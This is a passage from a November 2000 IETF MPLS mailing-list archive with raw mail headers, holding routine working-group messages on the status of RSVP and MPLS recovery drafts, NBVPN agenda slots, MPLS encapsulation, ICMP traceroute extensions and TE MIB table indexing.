Nov 2000 12:59:47 GMT Received: from coltrane.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp.datcon.co.uk [192.91.191.4]) id QQjpdb29056 for ; Mon, 13 Nov 2000 12:59:41 GMT Received: by smtp.datcon.co.uk with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 12:59:23 -0000 Message-ID: From: Adrian Farrel To: Dave Wilder , mpls@UU.NET Subject: RE: RSVP Refresh Reduction Draft Date: Mon, 13 Nov 2000 12:58:50 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi Dave, It's in the RSVP Working Group. Currently at version 5. Regards, Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 >-----Original Message----- >From: Dave Wilder [mailto:dawilder@nortelnetworks.com] >Sent: Monday, November 13, 2000 3:44 AM >To: mpls@UU.NET >Subject: RSVP Refresh Reduction Draft > > >Can anyone provide an update on the draft below? It seemed >like a well-written draft, but I lost track of what happened to it. > >Thanks, > >Dave > > >To: IETF-Announce: ; >>Cc: rsvp@isi.edu >>From: The IESG >>SUBJECT: Last Call: RSVP Refresh Overhead Reduction Extensions to >> Proposed Standard >>Reply-to: iesg@ietf.org >>Date: Wed, 15 Mar 2000 13:08:21 -0500 >>Sender: scoya@cnri.reston.va.us >> >> >>The IESG has received a request from the Resource Reservation Setup >>Protocol Working Group to consider RSVP Refresh Overhead Reduction >>Extensions as a Proposed >>Standard. >> >>The IESG plans to make a decision in the next few weeks, and solicits >>final comments on this action. Please send any comments to the >>iesg@ietf.org or ietf@ietf.org mailing lists by April 5, 2000. >> >>Files can be obtained via >>http://www.ietf.org/internet-drafts/draft-ietf-rsvp-refresh-re duct-03.txt From owner-mpls@UU.NET Mon Nov 13 09:46:08 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05885 for ; Mon, 13 Nov 2000 09:46:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdi18678; Mon, 13 Nov 2000 14:44:41 GMT Received: by mail-control.mail.uu.net id QQjpdi12559 for mpls-outgoing; Mon, 13 Nov 2000 14:44:09 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpdi12554 for ; Mon, 13 Nov 2000 14:44:04 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpdi00702 for ; Mon, 13 Nov 2000 14:43:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpdi29976 for ; Mon, 13 Nov 2000 14:43:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA29374 for mpls@uu.net; Mon, 13 Nov 2000 09:43:48 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpdi12301 for ; Mon, 13 Nov 2000 14:40:12 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpdi29471 for ; Mon, 13 Nov 2000 14:39:58 GMT Received: from p-mail1.cnet.fr by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: p-mail1.rd.francetelecom.fr [193.49.124.31]) id QQjpdi10633 for ; Mon, 13 Nov 2000 14:39:57 GMT Received: by p-biset.issy.cnet.fr with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 14:57:16 +0100 Message-ID: From: CARUGI Marco FTRD/DAC/LAN To: "'nbvpn@bbo.com'" Cc: CARUGI Marco FTRD/DAC/LAN , "'Rick Wilder'" , "'oran@cisco.com'" , "'Rob Coltun'" , mpls@UU.NET Subject: NBVPN agenda: call for slot requests Date: Mon, 13 Nov 2000 14:54:33 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hello. We would like to finalise the NBVPN agenda for the end of this week. Please send asap to Rick and me your requests for slots in the San Diego session. Please specify the subject/domain of your presentation, minimum time which is needed, related I-D (you may possibly append it if not yet available on the IETF directory), the speaker (optional). Marco P.S. We have already received some requests, I would kindly ask you to send them again (to avoid to forget some ones). From owner-mpls@UU.NET Mon Nov 13 10:11:46 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA17297 for ; Mon, 13 Nov 2000 10:11:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdk09179; Mon, 13 Nov 2000 15:09:45 GMT Received: by mail-control.mail.uu.net id QQjpdk25356 for mpls-outgoing; Mon, 13 Nov 2000 15:09:13 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpdk25329 for ; Mon, 13 Nov 2000 15:09:04 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpdk00128 for ; Mon, 13 Nov 2000 15:08:47 GMT Received: from aurms0.aur.alcatel.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: hostr41.alcatel.com [143.209.4.1]) id QQjpdk13637 for ; Mon, 13 Nov 2000 15:08:46 GMT Received: from aurmsa.aur.alcatel.com (aurmsa [143.209.7.230]) by aurms0.aur.alcatel.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id KAA28210; Mon, 13 Nov 2000 10:08:45 -0500 (EST) Received: from aurmsa.aur.alcatel.com (localhost [127.0.0.1]) by aurmsa.aur.alcatel.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id eADF8l123191; Mon, 13 Nov 2000 10:08:47 -0500 (EST) Received: from usa.alcatel.com ([143.209.22.94]) by aurmsa.aur.alcatel.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id eADF8k023180; Mon, 13 Nov 2000 10:08:46 -0500 (EST) Message-ID: <3A1003AB.E3D16027@usa.alcatel.com> Date: Mon, 13 Nov 2000 10:07:23 -0500 From: Manal Afify Organization: Alcatel USA, Inc. X-Sender: "Manal Afify" <@relay.aur.alcatel.com> X-Mailer: Mozilla 4.73 [en]C-CCK-MCD office (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: update request? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Can anyone provide an update on the following draft....?? Internet Draft Multi-Protocol Label Switching Expiration date: April 2000 draft-makam-mpls-protection-00.txt Thank you in advance... From owner-mpls@UU.NET Mon Nov 13 10:28:58 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA24392 for ; Mon, 13 Nov 2000 10:28:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdl07894; Mon, 13 Nov 2000 15:27:16 GMT Received: by mail-control.mail.uu.net id QQjpdl27249 for mpls-outgoing; Mon, 13 Nov 2000 15:26:31 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpdl27244 for ; Mon, 13 Nov 2000 15:26:30 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpdl23110 for ; Mon, 13 Nov 2000 15:26:28 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjpdl06493 for ; Mon, 13 Nov 2000 15:26:27 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id HAA18787 for ; Mon, 13 Nov 2000 07:26:30 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA17974 for mpls@uu.net; Mon, 13 Nov 2000 10:26:26 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpch00105 for ; Mon, 13 Nov 2000 07:56:43 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpch12795 for ; Mon, 13 Nov 2000 07:56:32 GMT Received: from ganymede.or.intel.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ganymede.or.intel.com [134.134.248.3]) id QQjpch26459 for ; Mon, 13 Nov 2000 07:56:32 GMT Received: from SMTP (orsmsxvs02-1.jf.intel.com [192.168.65.201]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.32 2000/10/12 22:57:04 dmccart Exp $) with SMTP id XAA18579; Sun, 12 Nov 2000 23:56:03 -0800 (PST) Received: from orsmsx29.jf.intel.com ([192.168.70.29]) by 192.168.70.201 (Norton AntiVirus for Internet Email Gateways 1.0) ; Mon, 13 Nov 2000 07:56:03 0000 (GMT) Received: by orsmsx29.jf.intel.com with Internet Mail Service (5.5.2650.21) id ; Sun, 12 Nov 2000 23:56:00 -0800 Message-ID: From: "Relan, Sandeep" To: "'ytr@csa.iisc.ernet.in'" , "'jrunham@fibernet.co.uk'" , "'seenu@samsung.co.kr'" Cc: "'mpls@uu.net'" Subject: Request for one more clarification on IP with MPLS Date: Sun, 12 Nov 2000 23:47:40 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Dear John Runham, Ramanjaneyulu and Seenu, Thank you to all of you for the prompt and detailed clarifications.!! Now, I have come across another basic doubt. I noticed that the mpls draft : draft-ietf-mpls-label-encaps-08.txt does not address the Ethernet - IP type field presence after MPLS labels : |---------------------------------| | L2 | MPLS | IP Header | |---------------------------------| In standard Ethernet-II or 802.3 LLC/SNAP (non-MPLS) switching / routing, the Type field "0x800" comes after the L2 header, which indicates that it is an IP packet. But, in case of MPLS switched packets : Q1. Will the IP header after the MPLS, contain 2 bytes of Type field (0x800) in the begining of IP Header...?? or Q2. For MPLS packets, Is IP the implicit protocol supported ..?? Thereby no type field is required after the MPLS labels and the bytes after MPLS labels "MUST" be the IP Header without type field !! Thanking you all for your kind help. - Sandeep From owner-mpls@UU.NET Mon Nov 13 10:32:25 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA25588 for ; Mon, 13 Nov 2000 10:32:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdm14689; Mon, 13 Nov 2000 15:31:12 GMT Received: by mail-control.mail.uu.net id QQjpdm27468 for mpls-outgoing; Mon, 13 Nov 2000 15:30:43 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpdm27462 for ; Mon, 13 Nov 2000 15:30:35 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpdl06883 for ; Mon, 13 Nov 2000 15:29:33 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjpdl18580 for ; Mon, 13 Nov 2000 15:29:32 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id AAA07750; Tue, 14 Nov 2000 00:30:37 +0900 (KST) X-OpenMail-Hops: 2 Date: Tue, 14 Nov 2000 00:29:50 +0900 Message-Id: In-Reply-To: <3A1003AB.E3D16027@usa.alcatel.com> Subject: (Reply) update request? MIME-Version: 1.0 TO: mpls@UU.NET, manal.afify@usa.alcatel.com Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Tue, 14 Nov 2000 00:27:59 +0900" ;Modification-Date="Tue, 14 Nov 2000 00:29:41 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi, pls refer the link. http://www.watersprings.org/links/mlr/#mpls-pp Regards Seenu Samsung India Software Operations Level 7, Prestige Meridian - II M.G.Road Bangalore > Can anyone provide an update on the following draft....?? Internet Draft Multi-Protocol Label Switching Expiration date: April 2000 draft-makam-mpls-protection-00.txt Thank you in advance... From owner-mpls@UU.NET Mon Nov 13 10:55:47 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA03568 for ; Mon, 13 Nov 2000 10:55:42 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdn23081; Mon, 13 Nov 2000 15:54:05 GMT Received: by mail-control.mail.uu.net id QQjpdn29384 for mpls-outgoing; Mon, 13 Nov 2000 15:52:24 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpdn29351 for ; Mon, 13 Nov 2000 15:52:05 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpdn27139 for ; Mon, 13 Nov 2000 15:51:43 GMT Received: from qnsgs000.nortel.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: qnsgs000.nortelnetworks.com [47.211.0.31]) id QQjpdn19388 for ; Mon, 13 Nov 2000 15:51:39 GMT Received: from znsgd00t.europe.nortel.com (actually znsgd00t) by qnsgs000.nortel.com; Mon, 13 Nov 2000 15:51:07 +0000 Received: from zvb1c002.corpemea.baynetworks.com ([141.251.160.82]) by znsgd00t.europe.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WS4LHL8N; Mon, 13 Nov 2000 15:51:07 -0000 Received: from nortelnetworks.com (FIFFI-1 [141.251.192.194]) by zvb1c002.corpemea.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WMR6F3KS; Mon, 13 Nov 2000 16:51:05 +0100 Message-ID: <3A100DAD.BA35A0C0@nortelnetworks.com> Date: Mon, 13 Nov 2000 16:50:05 +0100 X-Sybari-Space: 00000000 00000000 00000000 From: "Fiffi Hellstrand" Organization: Nortel Networks - Routing Architecture Lab X-Mailer: Mozilla 4.75 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Manal Afify CC: mpls@UU.NET Subject: Re: update request? References: <3A1003AB.E3D16027@usa.alcatel.com> Content-Type: multipart/mixed; boundary="------------337615888A0E9A6CE0182960" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------337615888A0E9A6CE0182960 Content-Type: multipart/alternative; boundary="------------A4C943618D25AE165A59547D" --------------A4C943618D25AE165A59547D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Manal, This draft was merged with another proposal to form a framework for mpls-based recovery. Please see http://www.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-00.txt Regards, Fiffi -- Fiffi Hellstrand Routing Architecture Lab - Nortel Networks Stockholm, Sweden e-mail: fiffi@nortelnetworks.com Manal Afify wrote: > Can anyone provide an update on the following draft....?? > > Internet Draft > Multi-Protocol Label Switching > Expiration date: April 2000 > > draft-makam-mpls-protection-00.txt > > Thank you in advance... --------------A4C943618D25AE165A59547D Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Manal,

This draft was merged with another proposal to form a framework for mpls-based recovery. Please see
 http://www.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-00.txt

Regards,
Fiffi
--
Fiffi Hellstrand
Routing Architecture Lab - Nortel Networks
Stockholm, Sweden   e-mail: fiffi@nortelnetworks.com

Manal Afify wrote:

Can anyone provide an update on the following draft....??

Internet Draft
Multi-Protocol Label Switching
Expiration date: April 2000

draft-makam-mpls-protection-00.txt

Thank you in advance...

--------------A4C943618D25AE165A59547D-- --------------337615888A0E9A6CE0182960 Content-Type: text/x-vcard; charset=us-ascii; name="fiffi.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Fiffi Hellstrand Content-Disposition: attachment; filename="fiffi.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Hellstrand;Fiffi tel;cell:+46 70 559 36 87 tel;fax:+46 8 5088 3501 tel;work:+46 8 50 88 36 87 x-mozilla-html:FALSE org:Nortel Networks;Routing Architecture Lab version:2.1 email;internet:fiffi@nortelnetworks.com title:Senior Systems Engineer adr;quoted-printable:;;P.O. Box 6701=0D=0ASt Eriksgatan 115A;Stockholm;;S-113 85;Sweden fn:Fiffi Hellstrand end:vcard --------------337615888A0E9A6CE0182960-- From owner-mpls@UU.NET Mon Nov 13 10:57:14 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04110 for ; Mon, 13 Nov 2000 10:57:14 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdn25208; Mon, 13 Nov 2000 15:54:25 GMT Received: by mail-control.mail.uu.net id QQjpdn29417 for mpls-outgoing; Mon, 13 Nov 2000 15:53:23 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpdn29412 for ; Mon, 13 Nov 2000 15:53:11 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpdn03482 for ; Mon, 13 Nov 2000 15:53:03 GMT Received: from NOD.RESTON.MCI.NET by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [166.60.6.38]) id QQjpdn23116 for ; Mon, 13 Nov 2000 15:53:03 GMT Received: from rbonica ([166.60.14.45]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with SMTP id <01JWHM33YTAA9LVKVX@shoe.reston.mci.net> for mpls@uu.net; Mon, 13 Nov 2000 10:52:59 EST Date: Mon, 13 Nov 2000 10:46:01 -0500 From: Ron Bonica Subject: MPLS Traceroute To: mpls@UU.NET Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7BIT Folks, Several months ago, the IESG chose not to progress, draft-ietf-mpls-icmp. Instead, they commissioned a design team that is addressing the generic problem of route tracing through tunnels. Although I understand that the IESGs decision is binding, I am resubmitting the draft and requesting that it be published as an informational RFC, with a caveat that it is not an emerging standard. This appropriate because at least three vendors have implemented the ICMP extensions and two have been shipping code that includes these extensions for about six months. The extensions should be documented because their deployment is fairly wide. =========================================== Ronald P. Bonica Ph: 703 886 1681 vBNS Engineering page: 1 888 268 8021 Ashburn, Va. =========================================== From owner-mpls@UU.NET Mon Nov 13 12:44:39 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14953 for ; Mon, 13 Nov 2000 12:44:39 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdu25110; Mon, 13 Nov 2000 17:42:38 GMT Received: by mail-control.mail.uu.net id QQjpdu29670 for mpls-outgoing; Mon, 13 Nov 2000 17:41:40 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpdu29643 for ; Mon, 13 Nov 2000 17:41:30 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpdu12241 for ; Mon, 13 Nov 2000 17:41:03 GMT From: Vishal.Sharma@tellabs.com Received: from mx2.tellabs.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mx2.tellabs.com [204.68.180.51]) id QQjpdu22744 for ; Mon, 13 Nov 2000 17:41:03 GMT Received: from mail.hq.tellabs.com (mail.bb.tellabs.com [138.111.51.100]) by mx2.tellabs.com (8.8.8/8.8.8) with ESMTP id LAA19827; Mon, 13 Nov 2000 11:41:00 -0600 (CST) Received: from localhost (root@localhost) by mail.hq.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id LAA06578; Mon, 13 Nov 2000 11:41:02 -0600 (CST) X-OpenMail-Hops: 1 Date: Mon, 13 Nov 2000 11:41:01 -0600 Message-Id: Subject: RE: update request? MIME-Version: 1.0 TO: manal.afify@usa.alcatel.com, mpls@UU.NET Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Mon, 13 Nov 2000 11:41:01 -0600" Sender: owner-mpls@UU.NET Precedence: bulk Manal, As Fiffi pointed out, this draft is now an MPLS Working Group document and is available at http://www.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-00.txt Related to this draft are several other drafts that address specific mechanisms for MPLS-based recovery, which you might also be interested in. They are: 1. A Path Protection/Restoration Mechanism for MPLS Networks, draft-chang-mpls-path-protection-01.txt http://search.ietf.org/internet-drafts/draft-chang-mpls-path-protection-01.txt 2. Extensions to RSVP-TE for MPLS Path Protection, draft-chang-mpls-rsvpte-path-protection-ext-00.txt, http://search.ietf.org/internet-drafts/draft-chang-mpls-rsvpte-path-protection-ext-00.txt 3. Extensions to CR-LDP and RSVP-TE for setup of pre-established recovery tunnels, draft-hellstrand-mpls-recovery-merge-00.txt http://search.ietf.org/internet-drafts/draft-hellstrand-mpls-recovery-merge-00.txt 4. ReSerVation Protocol with Traffic Engineeringe Extensions for Label Switched Path Restoration draft-kini-rsvp-lsp-restoration-00.txt http://www.ietf.org/internet-drafts/draft-kini-rsvp-lsp-restoration-00.txt 5. Shared backup Label Switched Path restoration draft-kini-restoration-shared-backup-00.txt http://www.ietf.org/internet-drafts/draft-kini-restoration-shared-backup-00.txt> -Vishal > -----Original Message----- > From: manal.afify@usa.alcatel.com [mailto:manal.afify@usa.alcatel.com] > Sent: Monday, November 13, 2000 10:07 AM > To: mpls@UU.NET > Subject: update request? > > > Can anyone provide an update on the following draft....?? > > Internet Draft > Multi-Protocol Label Switching > Expiration date: April 2000 > > draft-makam-mpls-protection-00.txt > > Thank you in advance... > From owner-mpls@UU.NET Mon Nov 13 14:22:48 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA15192 for ; Mon, 13 Nov 2000 14:22:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpeb24770; Mon, 13 Nov 2000 19:21:35 GMT Received: by mail-control.mail.uu.net id QQjpeb29752 for mpls-outgoing; Mon, 13 Nov 2000 19:20:41 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpeb29744 for ; Mon, 13 Nov 2000 19:20:39 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpeb03940 for ; Mon, 13 Nov 2000 19:20:03 GMT Received: from crufty.research.bell-labs.com by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: crufty.research.bell-labs.com [204.178.16.49]) id QQjpeb08786 for ; Mon, 13 Nov 2000 19:20:02 GMT Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by crufty; Mon Nov 13 14:19:04 EST 2000 Received: from dnrc.bell-labs.com (karthi-pcho [135.180.130.102]) by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA28200; Mon, 13 Nov 2000 14:19:02 -0500 (EST) Message-ID: <3A103EA6.248AADE3@dnrc.bell-labs.com> Date: Mon, 13 Nov 2000 14:19:02 -0500 From: Sowdambiga Karthikeyan Organization: Lucent Technologies X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4 (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: draft-ietf-mpls-te-mib-04 clarifications Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Can somebody clarify the following : 1. How is the Tunnel Destination ip address specified in the mplsTunnelTable ? In the example shown in the mib, the source (head-end router) is specified as the first entry in the hop table and destination is specified as the last entry in the hop table. Is this is how the destination is specified ? If so, then we can't reuse the hop table entries for different tunnels as specified in the mib I guess as different tunnels can have differnt destinations. If we can have a separate fields in mplsTunnelEntry specifying the Tunnel Source and Destination, it will also be helpful in case where we don't want to specify any explicit path and use the default routing. 2. mplsTunnelHopTable : I guess this is indexed by mplsTunnelHopListIndex and mplsTunnelHopIndex and can be reused by any number of tunnels. But the description text of mplsTunnelHopTable specifies that "Each row in this table is indexed primarily by the same index, mplsTunnelIndex, as the row of the corresponding tunnel in mplsTunnelTable". 3. mplsTunnelARHopTable : I guess this should be indexed by the mplsTunnelTable indices. (The description text of mplsTunnelARTable says just mplsTunnelIndex and mplsTunnelInstance but should also include mplsTunnelIngressLSRId I think). The text says this but mplsTunnelHopEntry Index field says mplsTunnelARHopListIndex and mplsTunnelARHopIndex. Thanks, Sowdambiga K From owner-mpls@UU.NET Mon Nov 13 14:43:37 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22793 for ; Mon, 13 Nov 2000 14:43:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpec11539; Mon, 13 Nov 2000 19:42:33 GMT Received: by mail-control.mail.uu.net id QQjpec02270 for mpls-outgoing; Mon, 13 Nov 2000 19:42:00 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpec02265 for ; Mon, 13 Nov 2000 19:41:58 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpec20704 for ; Mon, 13 Nov 2000 19:39:45 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpec07474 for ; Mon, 13 Nov 2000 19:39:45 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA11185 for mpls@uu.net; Mon, 13 Nov 2000 14:39:44 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpec01992 for ; Mon, 13 Nov 2000 19:39:04 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id 